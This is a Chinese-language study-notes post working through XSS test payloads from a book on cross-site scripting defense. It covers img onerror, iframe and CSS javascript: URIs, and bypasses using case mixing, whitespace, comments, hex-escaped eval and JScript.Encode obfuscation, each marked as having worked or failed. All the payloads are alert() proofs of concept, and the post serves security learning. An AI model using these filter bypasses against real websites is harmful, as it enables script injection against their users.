《xss跨站脚本剖析与防御》实验笔记
1、书籍《xss跨站脚本剖析与防御》上介绍的xss测试代码
<img src="javascrpt:alert('xss');">,
<table background="javascrpt:alert(/xss/)"></table>
已经不能在多大数的浏览器上弹窗成功了
测试xss漏洞尽量改变习惯使用
<img src=1 oneRroR=alert(/XSS/)>
<img src=1 oneRroR=alert('XSS')>
<img src=1 oneRroR=alert("XSS")>
<img src="#" onerror=alert('xss')>
<img src="x"/**/onerror="javascript:alert('xss');">
<script>alert('XSS')</script>
<img src=# onerror="alert('XSS')"/>
<input type="text" value="x" onmouseover="alert('XSS')" />
<iframe src="javascript:alert('XSS')"></iframe>
<a href="javascript:alert('XSS')"> xss</a>
来测试,能胜任当前大多数浏览器版本。
2、使用空格、回车、tab键的方法绕过过滤
<iframe src="java
script:al ert(1)" height=0 width=0 /><iframe> <!--Java和script是回车,al和ert是Tab换行符-->
实际测试成功
3、利用ASCII转码绕过过滤
<img src="x"/**/onerror="javascript:alert('xss');" >
<img src=1 onerror=alert('xss')> 转换为 <img src=1
onerror=alert('xss')>
实际测试成功
4、产生事件
<input type="button" value="click me" onclick="alert('click me')" >
实际测试成功
5、利用CSS跨站
<div style="background-image:url(javascript:alert('XSS'))">
<style>
body {background-image: url("javascript:alert('XSS')");}
</style>
<div style="list-style-image:url(javascript:alert('XSS'))">
实际测试失败
6、大小写混淆
<img src="#" oneRroR=alert('xss')>
实际测试成功
7、半字转为全字
<img src="#" onerror=alert('xss')>
实际验证失败
8、结合使用注释字符干扰
<img src="####/*******/####" onerror=alert('xss')>
实际测试成功
9、书上说在javascript中的eval()函数,可计算字符串,并执行其中的JavaScript代码
<script>
eval("alert('XSS')");
</script>
按照书上说的转码为16进制
<script>
eval("\61\6c\65\72\74\28\27\58\53\53\27\29");
</script>
实际验证失败
10、Microsoft提供脚本加密机制,可以对脚本进行加密,能在IE下正常运行,在其他浏览器则无法识别
alert(1)使用JScript Encode加密结果为#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
编写exploit代码
<script language="JScript.Encode">
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
</script>
在IE中执行,实际测试成功
《xss跨站脚本剖析与防御》实验笔记的更多相关文章
- xss跨站脚本攻击与防御读书笔记(原创)
XSS在客户端执行 可以任意执行js代码 0x01 xss 的利用方式 1. 钓鱼 案例:http://www.wooyun.org/bugs/wooyun-2014-076685 我是 ...
- XSS 跨站脚本攻击 的防御解决方案
虽然说在某些特殊情况下依然可能会产生XSS,但是如果严格按照此解决方案则能避免大部分XSS攻击. 原则:宁死也不让数据变成可执行的代码,不信任任何用户的数据,严格区数据和代码. XSS的演示 Exam ...
- XSS 跨站脚本攻击之构造剖析(一)
1.XSS-Filter:跨站脚本过滤器,用于分析用户提交的输入,并消除潜在的跨站脚本攻击 (1)XSS Filter实际上是一段精心编写的过滤函数作用是过滤XSS跨站脚本代码: (2)绕过XSS F ...
- XSS构造剖析
参考:邱永华<XSS跨站脚本攻击剖析与防御> 一 绕过XSS-filter 1.利用<>标记注射Html/JavaScript比如:<script>alert('X ...
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- PHP漏洞全解(四)-xss跨站脚本攻击
本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...
- JAVA覆写Request过滤XSS跨站脚本攻击
注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...
- xss跨站脚本攻击及xss漏洞防范
xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...
- web攻击之一:XSS跨站脚本
一.浏览器安全 同源策略 影响源的因素:host,子域名,端口,协议 a.com通过以下代码: <script scr=http://b.com/b.js> 加载了b.com上的b.js, ...
随机推荐
- [Android] 使用ViewPager 实现导航
转载请标注:转载于http://www.cnblogs.com/Liuyt-61/p/6582667.html -------------------------------------------- ...
- WebForm(Application,ViewState,Repeater的Command操作)
一.AppliCation: 1.存储在服务器端,占用服务器内存 2.生命周期:永久 3.所有人都可访问的共有对象,一般用作服务器缓存 4.赋值:Application["key" ...
- postgresql----COPY之表与文件之间的拷贝
postgresql提供了COPY命令用于表与文件(和标准输出,标准输入)之间的相互拷贝,copy to由表至文件,copy from由文件至表. 示例1.将整张表拷贝至标准输出 test=# cop ...
- Python基础5 常用模块学习
本节大纲: 模块介绍 time &datetime模块 random os sys shutil json & picle shelve xml处理 yaml处理 configpars ...
- PHP Composer 包管理器的安装和使用
一,包管理器的安装 01,首先确定 php 命令能够全局使用,要是不能请修改环境变量 02,使用 curl 命令安装 => curl -sS http://install.phpcomposer ...
- docker tomcat镜像制作
推荐使用dockerfile(本文直接拉取tomcat需要进入容器自行安装vim):docker利用Dockerfile来制作镜像 1.查找Docker Hub上的tomcat镜像 [root@loc ...
- delphi 动态绑定代码都某个控件
delphi 动态绑定代码都某个控件 http://docwiki.embarcadero.com/CodeExamples/Berlin/en/Rtti.TRttiType_(Delphi)Butt ...
- UI5-学习篇-9-本地Eclipse UI5应用发布到SAP前端服务器
参考路径: https://blogs.sap.com/2017/11/19/sap-fiori-ui5-application-deployment/ 1.准备环境 2.上载SAP-FIORI前端服 ...
- python语言中的函数装饰器
装饰器 什么是装饰器? 装饰:给已有的对象(函数)添加新的功能 器:工具 在python中指具备某些功能的函数 装饰器:装饰器就是一个给其他函数增加功能的函数 一种设计原则: ...
- 在系统中使用Bean Validation验证参数
转自:http://www.importnew.com/18561.html 为什么要使用Bean Validation? 当我们实现某个接口时,都需要对入参数进行校验.例如下面的代码 1 2 3 ...